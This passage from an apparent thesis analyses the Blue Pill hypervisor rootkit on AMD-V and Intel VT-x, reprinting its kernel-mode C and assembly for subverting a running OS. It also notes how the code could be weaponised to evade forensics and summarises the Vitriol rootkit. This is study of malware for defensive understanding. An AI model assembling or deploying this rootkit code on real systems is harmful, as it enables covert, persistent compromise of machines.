>Svm.OriginalVmcb->fs.base)); 
 _KdPrint (("SvmInitGuestState(): gs.base: 0x%p\n", Cpu-
>Svm.OriginalVmcb->gs.base)); 
 
 Vmcb = Cpu->Svm.OriginalVmcb; 
 
 Vmcb->idtr.base = GetIdtBase (); 
 Vmcb->idtr.limit = GetIdtLimit (); 
 
 GuestGdtBase = (PVOID) GetGdtBase (); 
 Vmcb->gdtr.base = (ULONG64) GuestGdtBase; 
 Vmcb->gdtr.limit = GetGdtLimit (); 
 
 Vmcb->vintr.UCHARs = 0; 
 Vmcb->eventinj.UCHARs = 0; 
 
 MmCreateMapping (MmGetPhysicalAddress ((PVOID) Vmcb->gdtr.base), 
(PVOID) Vmcb->gdtr.base, FALSE); 
 MmCreateMapping (MmGetPhysicalAddress ((PVOID) Vmcb->idtr.base), 
(PVOID) Vmcb->idtr.base, FALSE); 
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Figure 19.  SvmInitGuestState - Part 2 (../svm/svm.c) 

Continued from Figure 18 
 
#if DEBUG_LEVEL>2 
 _KdPrint (("SvmInitGuestState(): GDT base = 0x%p, limit = 0x%X\n", 
Vmcb->gdtr.base, Vmcb->gdtr.limit)); 
 _KdPrint (("SvmInitGuestState(): IDT base = 0x%p, limit = 0x%X\n", 
Vmcb->idtr.base, Vmcb->idtr.limit)); 
#endif 
 
 Status = STATUS_SUCCESS; 
 
 Status |= CmInitializeSegmentSelector (&Vmcb->cs, RegGetCs (), 
GuestGdtBase); 
 Status |= CmInitializeSegmentSelector (&Vmcb->ds, RegGetDs (), 
GuestGdtBase); 
 Status |= CmInitializeSegmentSelector (&Vmcb->es, RegGetEs (), 
GuestGdtBase); 
 Status |= CmInitializeSegmentSelector (&Vmcb->ss, RegGetSs (), 
GuestGdtBase); 
 
 if (!NT_SUCCESS (Status)) { 
  _KdPrint (("SvmInitGuestState(): Failed to initialize segment 
selectors\n")); 
  return STATUS_UNSUCCESSFUL; 
 } 
 
 Vmcb->cpl = 0; 
 Vmcb->efer = MsrRead (MSR_EFER); 
 Vmcb->cr0 = RegGetCr0 (); 
 Vmcb->cr2 = RegGetCr2 (); 
 Vmcb->cr3 = RegGetCr3 (); 
 Vmcb->cr4 = RegGetCr4 (); 
 Vmcb->rflags = RegGetRflags (); 
 Vmcb->dr6 = 0; 
 Vmcb->dr7 = 0; 
 Vmcb->rax = 0; 
 
 Vmcb->rip = (ULONG64) GuestRip; 
 Vmcb->rsp = (ULONG64) GuestRsp; 
 
#if DEBUG_LEVEL>1 
 _KdPrint (("SvmInitGuestState(): Guest VMCB: V_INTR = 0x%x\n", Vmcb-
>vintr.UCHARs)); 
 _KdPrint (("SvmInitGuestState(): Guest VMCB: RFLAGS = 0x%x\n", Vmcb-
>rflags)); 
#endif 
 
 return STATUS_SUCCESS; 
} 
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d. Turn on Flag Enabling Hardware Assisted Virtualization 

The EFER MSR bit 12 controls the SVM mode of the processor and it 

must be set to 1 before any execution of SVM instructions is attempted [26], [45]. 

The SvmEnable routine within svm.c enables the AMD-V capability by setting the 

SVME byte of the EFER MSR to 1 (Figure 20) [26], [28]. 

 

Figure 20.  SvmEnable (../svm/svm.c) 

e. Transfer Execution to the HVM Rootkit Hypervisor 

The last step in the initialization phase is to transfer execution to the newly 

installed and initialized HVM hypervisor. This is also managed by hvm.c through 

Called by SvmInitialize in svm.c 
 
NTSTATUS NTAPI SvmEnable ( 
 PBOOLEAN pAlreadyEnabled 
) 
{ 
 ULONG64 Efer; 
 
 if (!pAlreadyEnabled) 
  return STATUS_INVALID_PARAMETER; 
 
 *pAlreadyEnabled = FALSE; 
 Efer = MsrRead (MSR_EFER); 
 _KdPrint (("SvmEnable(): Current MSR_EFER: 0x%X\n", Efer)); 
 
 if (Efer & EFER_SVME) { 
  *pAlreadyEnabled = TRUE; 
  _KdPrint (("SvmEnable(): SVME bit already set\n")); 
  return STATUS_SUCCESS; 
 } 
 __try { 
  Efer |= EFER_SVME; 
  MsrWrite (MSR_EFER, Efer); 
 } 
 __except (EXCEPTION_EXECUTE_HANDLER) { 
 } 
 
 Efer = MsrRead (MSR_EFER); 
 _KdPrint (("SvmEnable(): MSR_EFER after WRMSR: 0x%X\n", Efer)); 
 
 return (Efer & EFER_SVME) ? STATUS_SUCCESS : STATUS_NOT_SUPPORTED; 
} 
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an indirect call via the ArchIsHvmVirtualize function pointer to SvmVirtualize in 

svm.c (Figure 21). 

 

Figure 21.  SvmVirtualize (../svm/svm.c) 

3. Subversion Phase 

The Subversion Phase begins with the first actions conducted by the HVM 

rootkit hypervisor itself, and continues until hypervisor execution is terminated 

and the target OS is returned to its original state. 

a. Shift the Target OS to VM Guest Mode 

SvmVirtualize calls SvmVmrun which is an assembly language routine in 

svm-asm.asm (Figure 22). With the VMCB already established for each core of 

the CPU and initialized with the state of the OS, shifting of the OS to guest mode 

is done very simply by running the VMRUN instruction with the RAX register as 

its single required operand [26], [28]. The RAX register is a pointer to the 64-bit 

physical address of the VMCB.  At this point, code execution and control flow of 

the guest OS will continue seamlessly and transparently without it ever being 

aware that it has been migrated away from having direct control of hardware to 

within a VM under the control of a hypervisor [39]. 

 

Called by Hvm->ArchVirtualize function pointer in hvm.c 
 
static NTSTATUS NTAPI SvmVirtualize ( 
 PCPU Cpu 
) 
{ 
 if (!Cpu) 
  return STATUS_INVALID_PARAMETER; 
 
 SvmVmrun (Cpu); 
 
 // never returns 
 
 return STATUS_UNSUCCESSFUL; 
} 
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Figure 22.  SvmVmrun (../amd64/svm-asm.asm) 

Called by SvmVirtualize in svm.c 
 
SvmVmrun PROC 
 
 lea  rsp, [rcx-16*8-5*8] ; backup 14 regs and leave 
space for FASTCALL call 
 mov  rax, [g_PageMapBasePhysicalAddress] 
 mov  cr3, rax 
 mov  rax, [rsp+16*8+5*8+8] ; CPU.Svm.VmcbToContinuePA 
 svm_vmload 
@loop: 
 mov  rax, [rsp+16*8+5*8+8] ; CPU.Svm.VmcbToContinuePA 
 svm_vmrun 
 ; save guest state 
 mov  [rsp+5*8+08h], rcx 
 mov  [rsp+5*8+10h], rdx 
 mov  [rsp+5*8+18h], rbx 
 mov  [rsp+5*8+28h], rbp 
 mov  [rsp+5*8+30h], rsi 
 mov  [rsp+5*8+38h], rdi 
 mov  [rsp+5*8+40h], r8 
 mov  [rsp+5*8+48h], r9 
 mov  [rsp+5*8+50h], r10 
 mov  [rsp+5*8+58h], r11 
 mov  [rsp+5*8+60h], r12 
 mov  [rsp+5*8+68h], r13 
 mov  [rsp+5*8+70h], r14 
 mov  [rsp+5*8+78h], r15 
 lea  rdx, [rsp+5*8]   ; PGUEST_REGS 
 lea  rcx, [rsp+16*8+5*8]  ; PCPU 
 call  HvmEventCallback 
 
 ; restore guest state (HvmEventCallback migth have alternated 
the guest state) 
 mov  rcx, [rsp+5*8+08h] 
 mov  rdx, [rsp+5*8+10h] 
 mov  rbx, [rsp+5*8+18h] 
 mov  rbp, [rsp+5*8+28h] 
 mov  rsi, [rsp+5*8+30h] 
 mov  rdi, [rsp+5*8+38h] 
 mov  r8, [rsp+5*8+40h] 
 mov  r9, [rsp+5*8+48h] 
 mov  r10, [rsp+5*8+50h] 
 mov  r11, [rsp+5*8+58h] 
 mov  r12, [rsp+5*8+60h] 
 mov  r13, [rsp+5*8+68h] 
 mov  r14, [rsp+5*8+70h] 
 mov  r15, [rsp+5*8+78h] 
 jmp  @loop 
 
SvmVmrun ENDP 
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b. Unload the Hardware Level Driver 

The unloading of the hardware driver is the first step in a chain of events 

which also unloads the Blue Pill hypervisor itself. It is not clear why the source 

code is written in this manner since it would be the goal of an attacker to leave 

the Blue Pill hypervisor running while unloading the hardware level driver within 

the target OS in order to eliminate any avenue of detection. The reason is 

perhaps that this version of the Blue Pill source code was meant for public 

release with the goal of training and not exploitation in mind. If this code were 

weaponized as malware, the hardware level driver would have to be unloaded 

separately while leaving the Blue Pill hypervisor functioning. Additionally, care 

and attention would have to be given to all actions that were done within the OS 

itself prior to subversion. These actions would need to be reversed to prevent 

any forensics trail from being observed. 

The unloading of the hardware level driver is also a simple process of 

manipulating the DriverObject as was done in phase one above. The process is 

initiated from within the guest and passed to the hypervisor via a hypercall. Then 

the Windows routine DriverUnload is called which unloads the DriverObject and 

releases the allocated resources from the Windows I/O manager [43] (Figures 10 

and 23). 

Following the unloading of the DriverObject, HvmSpitOutBluepill begins 

the chain of events which also shifts the OS back to its original state and unloads 

the hypervisor. The original state of the OS was preserved as OriginalVmcb 

during the execution of SvmInitialize in svm.c (Figure 15). HvmSpitOutBluepill 

makes use of several hypercall channels via routines in the hypercalls.c file to 

synchronize actions in the unloading process. Hypercalls are a feature included 

in Blue Pill for debugging and demonstration and would not be present in a real 

world implementation of Blue Pill as a full-fledged HVM rootkit [39]. 

The end result is the guest OS returned to its original state and in full 

control of the hardware once again.  
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Figure 23.  DriverUnload (../common/newbp.c) 

D. BLUE PILL ANALYSIS ON THE INTEL VT-X PLATFORM 

The overall process of HVM rootkit subversion does not significantly 

change from what has been previously shown on the AMD-V platform when 

moved to the Intel VT-x platform; however there are differences in execution 

mechanics which need to be examined. A diagram analogous to Figure 7 and 8 

depicting Blue Pill execution within Intel VT-x should show very little difference in 

the overall high level process. The differences that do exist are necessitated by 

the differences between the AMD-V and Intel VT-x specifications and functional 

implementations of their respective virtualization solutions. It is these differences 

which will be focused on in the following analysis of Blue Pill implementation on 

the Intel VT-x platform. 

Called on Blue Pill deliberate shutdown 
 
NTSTATUS DriverUnload ( 
 PDRIVER_OBJECT DriverObject 
) 
{ 
 //FIXME: do not turn SVM/VMX when it has been turned on by the guest 
in the meantime (e.g. VPC, VMWare) 
 NTSTATUS Status; 
 
 _KdPrint (("\r\n")); 
 _KdPrint (("NEWBLUEPILL: Unloading started\n")); 
 g_bDisableComOutput = TRUE; 
 
 if (!NT_SUCCESS (Status = HvmSpitOutBluepill ())) { 
  _KdPrint (("NEWBLUEPILL: HvmSpitOutBluepill() failed with status 
0x%08hX\n", Status)); 
 } 
 
 g_bDisableComOutput = FALSE; 
 _KdPrint (("NEWBLUEPILL: Unloading finished\n")); 
 
#ifdef USE_LOCAL_DBGPRINTS 
 DbgUnregisterWindow (); 
#endif 
 MmShutdownManager (); 
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1. Infiltration Phase 

As with the original AMD-V Blue Pill version, the Infiltration Phase on the 

Intel VT-x architecture is conducted by using a conventional root exploit. It is 

likely that, for the same OS, the rootkit tools for gaining root level access to the 

OS will be the same regardless of whether the OS is running on an AMD or Intel 

processor. 

a. Gain Root Level Access on the Target System 

This step is conducted in the same manner as in the ADM-V 

implementation and is outside the scope of this thesis.  

b. Load the Hardware Level Driver 

As with the AMD-V implementation, the structure HVM_DEPENDENT in 

common.h is used to abstractly call platform specific functions and control 

different tasks required to virtualize the target system (Figure 9). 

ArchIsHvmImplemented is used to determine the system virtualization status. 

STATUS_SUCCESS is returned if hardware virtualization is present (either AMD-

V or VT-x), and STATUS_NOT_SUPPORTED is returned if neither is present. If 

hardware virtualization is determined to be present for Blue Pill implementation, 

then the rest of the code in newbp.c is executed. The DriverEntry routine is again 

called after the driver is loaded into memory to initialize it within the Windows OS 

by the Windows I/O manager and assign it with ring 0 privileged mode execution 

(Figure 10). 

2. Initialization Phase 

Actions conducted in the Initialization Phase are accomplished by the 

hardware level driver, which was installed by the conventional rootkit in the 

Infiltration Phase. 
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a. Allocate Resources for HVM Rootkit Hypervisor Code and 
Load it into Memory 

As with the AMD-V implementation, Blue Pill code must be initialized on 

each physical processor. HvmSwallowBluepill calls CmDeliverToProcessor 

(Figure 11) to execute the assembly language setup routine CmSubvert to each 

processor core. Figure 24 shows the Intel version of the assembly language 

CmSubvert routine. After performing required register manipulations, CmSubvert 

returns control back to HvmSubvertCpu and hvm.c to continue with individual 

processor HVM rootkit installation where MmAllocatePages is used to allocate 

memory blocks for the GDT, IDT and kernel stack (Figure 13). 

 

Figure 24.  CmSubvert (../i386/common-asm.asm) 

The function pointer ArchIsHvmImplemented is used again to check that 

hardware virtualization is implemented and is used to indirectly call 

VmxIsImplemented in vmx.c.   

VmxIsImplemented includes two calls of the GetCpuIdInfo function which 

uses the CPUID assembly instructions in cpuid.asm (Figure 25). The first 

instance of GetCpuIdInfo checks to ensure that the processor uses the extended 

CPUID instructions and verifies that the processor is an Intel processor. Although 

this was done previously by newbp.c, it must be done again in the context of this 

routine. The second instance of GetCpuIdInfo checks to ensure that the fifth byte 

Called by HvmSwallowBluepill in hvm.c 
 
CmSubvert PROC StdCall _GuestRsp 
 
 CM_SAVE_ALL_NOSEGREGS 
 
 mov eax,esp 
 push eax    ;setup esp to argv[0] 
 call HvmSubvertCpu@4 
 ret 
 
CmSubvert ENDP 
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of the ECX register is set correctly to be able to use the Intel VT-x virtualization 

extensions [27].  

 

Figure 25.  VmxIsImplemented (../vmx/vmx.c) 

b. Turn on Flag Enabling Hardware Assisted Virtualization  

This step is done slightly earlier in the overall process when compared to 

the AMD-V Blue Pill implementation. This is because of the different approaches 

that Intel and AMD use in implementing their respective virtualization solutions, 

as well as the different approaches that the different versions of Blue Pill use. 

The AMD-V solution does not contain instructions for VMCB initialization and 

manipulation, whereas the Intel VT-x solution does contain such instructions for 

its VMCS implementation, specifically VMCLEAR, VMPTRLD, VMREAD, and 

VMWRITE (see Appendices A and B). Since these Intel VMX instructions are 

used by Blue Pill in the setup and initialization of the VMCS, the processor must 

be placed in VMX_ROOT mode of operation prior to the next steps occurring. 

This is done via the VMXON instruction. 

Called by Hvm->ArchIsHvmImplemented function pointer in hvm.c 
 
static BOOLEAN NTAPI VmxIsImplemented ( 
) 
{ 
 ULONG32 eax, ebx, ecx, edx; 
 GetCpuIdInfo (0, &eax, &ebx, &ecx, &edx); 
 if (eax < 1) { 
  _KdPrint (("VmxIsImplemented(): Extended CPUID functions not 
implemented\n")); 
  return FALSE; 
 } 
 if (!(ebx == 0x756e6547 && ecx == 0x6c65746e && edx == 0x49656e69)) 
{ 
  _KdPrint (("VmxIsImplemented(): Not an INTEL processor\n")); 
  return FALSE; 
 } 
 //intel cpu use fun_0x1 to test VMX.   
 GetCpuIdInfo (0x1, &eax, &ebx, &ecx, &edx); 
 return (BOOLEAN) (CmIsBitSet (ecx, 5)); 
} 
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VMXON region must be aligned on a 4K boundary in unpaged physical 

memory or the VMXON instruction will fail. These memory blocks are allocated 

by VmxInitialize, which is indirectly called by the ArchInitialize function pointer in 

hvm.c (Figures 26 and 27).  
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Figure 26.  VmxInitialize – Part 1 (../i386/vmx.c) 

Called by Hvm->ArchInitialize function pointer in hvm.c 
 
static NTSTATUS NTAPI VmxInitialize ( 
 PCPU Cpu, 
 PVOID GuestRip, 
 PVOID GuestRsp 
) 
{ 
 PHYSICAL_ADDRESS AlignedVmcsPA; 
 ULONG64 VaDelta; 
 NTSTATUS Status; 
 
#ifndef _X86_ 
 PVOID tmp; 
 tmp = MmAllocateContiguousPages (1, NULL); 
 g_HostStackBaseAddress = (ULONG64) tmp; 
#endif 
 // do not deallocate anything here; MmShutdownManager will take care 
of that 
 //Allocate VMXON region 
 Cpu->Vmx.OriginaVmxonR = MmAllocateContiguousPages 
(VMX_VMXONR_SIZE_IN_PAGES, &Cpu->Vmx.OriginalVmxonRPA); 
 if (!Cpu->Vmx.OriginaVmxonR) { 
  _KdPrint (("VmxInitialize(): Failed to allocate memory for original 
VMCS\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
 _KdPrint (("VmxInitialize(): OriginaVmxonR VA: 0x%p\n", Cpu-
>Vmx.OriginaVmxonR)); 
 _KdPrint (("VmxInitialize(): OriginaVmxonR PA: 0x%llx\n", Cpu-
>Vmx.OriginalVmxonRPA.QuadPart)); 
 
//Allocate VMCS 
 Cpu->Vmx.OriginalVmcs = MmAllocateContiguousPages 
(VMX_VMCS_SIZE_IN_PAGES, &Cpu->Vmx.OriginalVmcsPA); 
 
 if (!Cpu->Vmx.OriginalVmcs) { 
  _KdPrint (("VmxInitialize(): Failed to allocate memory for original 
VMCS\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
 _KdPrint (("VmxInitialize(): Vmcs VA: 0x%p\n", Cpu-
>Vmx.OriginalVmcs)); 
 _KdPrint (("VmxInitialize(): Vmcs PA: 0x%llx\n", Cpu-
>Vmx.OriginalVmcsPA.QuadPart)); 
 // these two PAs are equal if there're no nested VMs 
 Cpu->Vmx.VmcsToContinuePA = Cpu->Vmx.OriginalVmcsPA; 
 //init IOBitmap and MsrBitmap 
 Cpu->Vmx.IOBitmapA = MmAllocateContiguousPages 
(VMX_IOBitmap_SIZE_IN_PAGES, &Cpu->Vmx.IOBitmapAPA); 
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Figure 27.  VmxInitialize – Part 2 (../i386/vmx.c) 

Continued from Figure 26 
 
 if (!Cpu->Vmx.IOBitmapA) { 
  _KdPrint (("VmxInitialize(): Failed to allocate memory for 
IOBitmapA\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
 RtlZeroMemory (Cpu->Vmx.IOBitmapA, PAGE_SIZE); 
 _KdPrint (("VmxInitialize(): IOBitmapA VA: 0x%p\n", Cpu-
>Vmx.IOBitmapA)); 
 _KdPrint (("VmxInitialize(): IOBitmapA PA: 0x%llx\n", Cpu-
>Vmx.IOBitmapAPA.QuadPart)); 
 Cpu->Vmx.IOBitmapB = MmAllocateContiguousPages 
(VMX_IOBitmap_SIZE_IN_PAGES, &Cpu->Vmx.IOBitmapBPA); 
 if (!Cpu->Vmx.IOBitmapB) { 
  _KdPrint (("VmxInitialize(): Failed to allocate memory for 
IOBitmapB\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
 RtlZeroMemory (Cpu->Vmx.IOBitmapB, PAGE_SIZE); 
 _KdPrint (("VmxInitialize(): IOBitmapB VA: 0x%p\n", Cpu-
>Vmx.IOBitmapB)); 
 _KdPrint (("VmxInitialize(): IOBitmapB PA: 0x%llx\n", Cpu-
>Vmx.IOBitmapBPA.QuadPart)); 
 Cpu->Vmx.MSRBitmap = MmAllocateContiguousPages 
(VMX_MSRBitmap_SIZE_IN_PAGES, &Cpu->Vmx.MSRBitmapPA); 
 if (!Cpu->Vmx.MSRBitmap) { 
  _KdPrint (("VmxInitialize(): Failed to allocate memory for 
MSRBitmap\n")); 
  return STATUS_INSUFFICIENT_RESOURCES; 
 } 
 RtlZeroMemory (Cpu->Vmx.MSRBitmap, PAGE_SIZE); 
 _KdPrint (("VmxInitialize(): MSRBitmap VA: 0x%p\n", Cpu-
>Vmx.MSRBitmap)); 
 _KdPrint (("VmxInitialize(): MSRBitmap PA: 0x%llx\n", Cpu-
>Vmx.MSRBitmapPA.QuadPart)); 
 if (!NT_SUCCESS (VmxEnable (Cpu->Vmx.OriginaVmxonR))) { 
  _KdPrint (("VmxInitialize(): Failed to enable Vmx\n")); 
  return STATUS_UNSUCCESSFUL; 
 } 
 *((ULONG64 *) (Cpu->Vmx.OriginalVmcs)) = (MsrRead 
(MSR_IA32_VMX_BASIC) & 0xffffffff); //set up vmcs_revision_id    
 if (!NT_SUCCESS (Status = VmxSetupVMCS (Cpu, GuestRip, GuestRsp))) { 
  _KdPrint (("Vmx(): VmxSetupVMCS() failed with status 0x%08hX\n", 
Status)); 
  VmxDisable (); 
  return Status; 
 } 
 _KdPrint (("VmxInitialize(): Vmx enabled\n")); 
 Cpu->Vmx.GuestEFER = MsrRead (MSR_EFER); 
 _KdPrint (("Guest MSR_EFER Read 0x%llx \n", Cpu->Vmx.GuestEFER)); 
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Before the VMXON instruction can be successfully executed, several 

preconditions must be met. The CR4.VMXE, CR0.NE, CR0.PG and CR0.PE 

control bits must all be set to 1; and the EFLAGS.VM control bit must be set to 0. 

The processor must also not be in A20M# mode [46], [47].  

The VMXON instruction takes a pointer to the physical memory location of 

the VMXON region as its only operand (Figure 28). Successful completion of the 

VMXON instruction in VmxEnable will result in the processor entering 

VMX_ROOT mode of operation [27].  

 

 

Figure 28.  VmxEnable (../i386/vmx.c) 

Called by VmxInitialize in vmx.c 
 
NTSTATUS NTAPI VmxEnable ( 
 PVOID VmxonVA 
) 
{ 
 ULONG64 cr4; 
 ULONG64 vmxmsr; 
 ULONG64 flags; 
 PHYSICAL_ADDRESS VmxonPA; 
 
 set_in_cr4 (X86_CR4_VMXE); 
 cr4 = get_cr4 (); 
 _KdPrint (("VmxEnable(): CR4 after VmxEnable: 0x%llx\n", cr4)); 
 if (!(cr4 & X86_CR4_VMXE)) 
  return STATUS_NOT_SUPPORTED; 
 
 vmxmsr = MsrRead (MSR_IA32_FEATURE_CONTROL); 
 if (!(vmxmsr & 4)) { 
  _KdPrint (("VmxEnable(): VMX is not supported: IA32_FEATURE_CONTROL 
is 0x%llx\n", vmxmsr)); 
  return STATUS_NOT_SUPPORTED; 
 } 
 
 vmxmsr = MsrRead (MSR_IA32_VMX_BASIC); 
 *((ULONG64 *) VmxonVA) = (vmxmsr & 0xffffffff);    //set up 
vmcs_revision_id 
 VmxonPA = MmGetPhysicalAddress (VmxonVA); 
 _KdPrint (("VmxEnable(): VmxonPA: 0x%llx\n", VmxonPA.QuadPart)); 
 VmxTurnOn (MmGetPhysicalAddress (VmxonVA)); 
 flags = RegGetRflags (); 
 _KdPrint (("VmxEnable(): vmcs_revision_id: 0x%x Eflags: 0x%x \n", 
vmxmsr, flags)); 
 return STATUS_SUCCESS; 
} 
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c. Set up the VMCS 

The VMCB and VMCS perform largely the same roles, but their 

implementations differ greatly. The VMCS also has a completely different 

structure than the VMCB. The VMCS is composed of six variable length sections 

including: the guest state area, host state area, VM execution control fields, VM 

exit control fields, VM entry control fields, and VM exit information fields [27]. In 

contrast, the VMCB is composed of two fixed length sections (control area and 

guest state) and must be allocated in a fixed length 4 kilobyte block of physical 

memory [26]. The VMCS is configured by using the VMREAD, VMWRITE, and 

VMCLEAR instructions.  

A different VMCS can be used for each virtual machine that a hypervisor 

supports. Additionally, for a VM with multiple logical processors, a different 

VMCS can be used for each virtual processor [46].  

The VMXON region is not the same as nor is it contained within the VMCS 

region. A VMCS region is created for each virtual processor and is used by the 

hypervisor to support a single VM instance [48].  As is the case with the AMD-V 

VMCB, a VMXON region is created for each physical processor core (or each 

logical processor if more than one thread is supported per core) which is 

assigned by the hypervisor to support VMX virtualization; however, this does not 

translate into the VMXON region supporting the same functionality as the VMCB. 

The VMXON region must be used in conjunction with the VMCS to gain the 

similar functionality of the VMCB. The implementations differ significantly 

between AMD-V and Intel VT-x [41]. 

The VmxInitialize function also allocates the memory regions for the 

various VMCS requirements, including both the original and guest VMCS 

(Figures 26 and 27). VmxSetupVmcs takes the allocated memory blocks and 

populates them with the required data structures. To accomplish this, 

VmxSetupVmcs makes use of the VMWRITE instruction to set up various 

registers, entry and exit controls, and other data fields which are needed to 

support VMX functions. 
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ArchRegisterTraps function pointer in hvm.c indirectly calls 

VmxRegisterTraps in vmxtraps.c (Figure 29). VmxRegisterTraps sets up the trap 

conditions that Blue Pill will intercept and handle while it is in control of the 

system. The minimum set of exit conditions that an Intel VT-x hypervisor must 

trap and handle includes VMCALL, VMCLEAR, VMLAUNCH, VMPTRLD, 

VMPTRST, VMREAD, VMRESUME, VMWRITE, VMXOFF, VMXON, CPUID, 

INVD, and MOV from CR3; whereas an AMD-V hypervisor must trap and handle 

at a minimum only the VMRUN instruction [41]. 

 

Figure 29.  VmxRegisterTraps (../vmx/vmxtraps.c) 

VmxRegisterTraps causes Blue Pill to trap and handle the following 

specific exceptions: 

 (as shown in Figure 29) 

 Instructions:  VMCALL, VMLAUNCH, VMRESUME, VMPTRLD,  

VMPTRST, VMREAD, VMWRITE, VMXON, VMXOFF 

Called by Hvm->ArchRegisterTraps function pointer in hvm.c 
 
NTSTATUS NTAPI VmxRegisterTraps ( 
 PCPU Cpu 
) 
{ 
 NTSTATUS Status; 
 PNBP_TRAP Trap; 
#ifndef VMX_SUPPORT_NESTED_VIRTUALIZATION 
 // used to set dummy handler for all VMX intercepts when we compile 
without nested support 
 ULONG32 i, TableOfVmxExits[] = { 
  EXIT_REASON_VMCALL, 
  EXIT_REASON_VMCALL, 
  EXIT_REASON_VMLAUNCH, 
  EXIT_REASON_VMRESUME, 
  EXIT_REASON_VMPTRLD, 
  EXIT_REASON_VMPTRST, 
  EXIT_REASON_VMREAD, 
  EXIT_REASON_VMWRITE, 
  EXIT_REASON_VMXON, 
  EXIT_REASON_VMXOFF 
 }; 
#endif 
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 (not shown in Figure 29 but specified elsewhere in vmxtraps.c) 

 Model Specific Registers (MSPs): any access attempt 

 Control Registers (CRs): any access attempt 

 Instructions: CPUID, RDTSC, INVD 

d. Initialize the VMCS with Current State of Target OS 

The VmxSetupVmcs routine also initializes the VMCS guest state area 

with the current state of the guest OS. This includes initializing the previously 

allocated GDT and IDT, registers, and pointers. VmxSetupVmcs makes 

extensive use of the VMWRITE instruction to populate both the original and 

guest VMCS data structures. 

e. Transfer Execution to the HVM Rootkit Hypervisor 

The last step in the initialization phase is to transfer execution to the newly 

installed and initialized HVM hypervisor. This is also managed through an indirect 

call via the ArchIsHvmVirtualize function pointer in hvm.c to VmxVirtualize in 

vmx.c (Figure 30). 
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Figure 30.  VmxVirtualize (../vmx/vmx.c) 

3. Subversion Phase 

The Subversion Phase begins with the first actions conducted by the HVM 

rootkit hypervisor itself, and continues until hypervisor execution is terminated 

and the target OS is returned to its original state. 

Called by Hvm->ArchVirtualize function pointer in hvm.c 
 
static NTSTATUS NTAPI VmxVirtualize ( 
 PCPU Cpu 
) 
{ 
 ULONG64 rsp; 
 if (!Cpu) 
  return STATUS_INVALID_PARAMETER; 
 
 _KdPrint (("VmxVirtualize(): VmxRead: 0x%X \n", VmxRead 
(VM_INSTRUCTION_ERROR))); 
 _KdPrint (("VmxVirtualize(): RFlags before vmxLaunch: 0x%x \n", 
RegGetRflags ())); 
 _KdPrint (("VmxVirtualize(): PCPU: 0x%p \n", Cpu)); 
 rsp = RegGetRsp (); 
 _KdPrint (("VmxVirtualize(): Rsp: 0x%x \n", rsp)); 
 
#ifndef _X86_ 
 *((PULONG64) (g_HostStackBaseAddress + 0x0C00)) = (ULONG64) Cpu; 
#endif 
 
 VmxLaunch (); 
 
 // never returns 
 
 return STATUS_UNSUCCESSFUL; 
} 
 
static BOOLEAN NTAPI VmxIsTrapVaild ( 
 ULONG TrappedVmExit 
) 
{ 
 if (TrappedVmExit > VMX_MAX_GUEST_VMEXIT) 
  return FALSE; 
 return TRUE; 
} 
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a. Shift the Target OS to VM Guest Mode 

VmxVirtualize calls VmxLaunch which is an assembly language routine in 

vmx-asm.asm (Figure 31). With the VMCS already established for each core of 

the CPU and initialized with the state of the OS, shifting of the OS to guest mode 

is done very simply by running the VMLAUNCH instruction designating a VMCB 

whose state is clear (not already launched) [48]. The operand for the 

VMLAUNCH instruction is the current-VMCS pointer, the value of which is the 

64-bit address of the VMCS [27]. As was the case with AMD-V, code execution 

and control flow of the guest OS will continue seamlessly and transparently until 

an exit condition is encountered which will force control back to the Blue Pill 

hypervisor. 

 

Figure 31.  VmxLaunch (../i386/vmx-asm.asm) 

b. Unload the Hardware Level Driver 

There is no difference in the unloading of the hardware level driver under 

the VT-x implementation as opposed to the AMD-V implementation.  

As discussed earlier, the end result of fully executing HvmSpitOutBluepill 

is the guest OS returned to its original state and in full control of the hardware 

once again, and therefore does require some specialized code which is different 

from the AMD-V implementation of Blue Pill.  

E. VITRIOL ANALYSIS 

Source code for Vitriol was never made public, and therefore it is not 

available for analysis as part of this thesis work. However since it is the only 

Called by VmxVirtualize in vmx.c 
 
VmxLaunch PROC 
  
 vmx_launch 
 ret 
 
VmxLaunch ENDP 
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other known working HVM rootkit, it is useful to note in this thesis what is known 

about it. What is known mostly comes from its introduction session given by Dino 

Dai Zovi from Matasano Security Lab at the 2006 Black Hat conference. 

Vitriol was designed to exploit Apple OS X via a loadable kernel extension. 

Since Apple only uses Intel processors, Vitriol was only designed to exploit the 

Intel VT-x virtualization implementation. There are currently no existing situations 

where OS X runs on an AMD processor. Vitriol uses three main functions to 

detect and initialize VT-x capabilities, migrate the target OS into a guest VM, and 

finally a hypervisor to handle VM exit events. The three main pieces of code 

which perform these functions are: Vmx_init, Vmx_fork and On_vm_exit, 

respectively [40]. Vitriol is considered an ultrathin hypervisor, being composed of 

less than 2000 lines of code [49]. 

Vmx_init is similar in function to Blue Pill’s hvm.c. It detects if Intel 

virtualization hardware is present, installs a hardware driver with kernel mode 

privileges, and then begins the initialization process to prepare the hardware for 

implementation [40]. 

Vmx_fork is similar in function to Blue Pill’s vmx.c. It captures the state of 

the target OS in a VMCS, sets execution parameters and controls within the 

target VMCS, executes the VMLAUNCH instruction and finally unloads the 

hardware level driver [40]. 

On_vm_exit has similarities in function to both Blue Pill’s vmx.c and 

vmxtraps.c, but also has some additional functionality as well. On_vm_exit sets 

up the exit event handler and monitors VM device access. Its additional functions 

include hiding memory blocks, filtering ATAPI packets and recording keystrokes 

[40]. 

F. RESULTS AND COMPARISON OF HVM ROOTKITS 

In order to help answer the thesis problem statement, it must be 

determined whether or not there are commonalities in the attack methodology 
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and execution, and if those commonalities are effective across a wide range of 

systems employing x86 hardware virtualization technology. The results of this 

study can be broken down into two areas: functional and technical. The 

functional results are the high level actions that take place to subvert a system, 

whereas the technical results are the low level “mechanical” actions required to 

perform those high level functions.  

1. Functional Results 

Figures 32 and 33 show the functional division of effort of each of the 

major Blue Pill code segments as well as the processor mode or protection ring 

that each action takes place within. These figures validate the proposed model 

on page 32.  

There are three main files in the Blue Pill rootkit which do the bulk of the 

major muscle movements: newbp.c, hvm.c, and either svm.c or vmx.c, 

depending on the target system virtualization implementation. Of these, svm.c 

and vmx.c contain the code which is unique to either the AMD-V or Intel TV-x 

specification. Newbp.c and hvm.c contain code which is largely common to both 

implementations. When placed into our framework for HVM rootkit behavior, the 

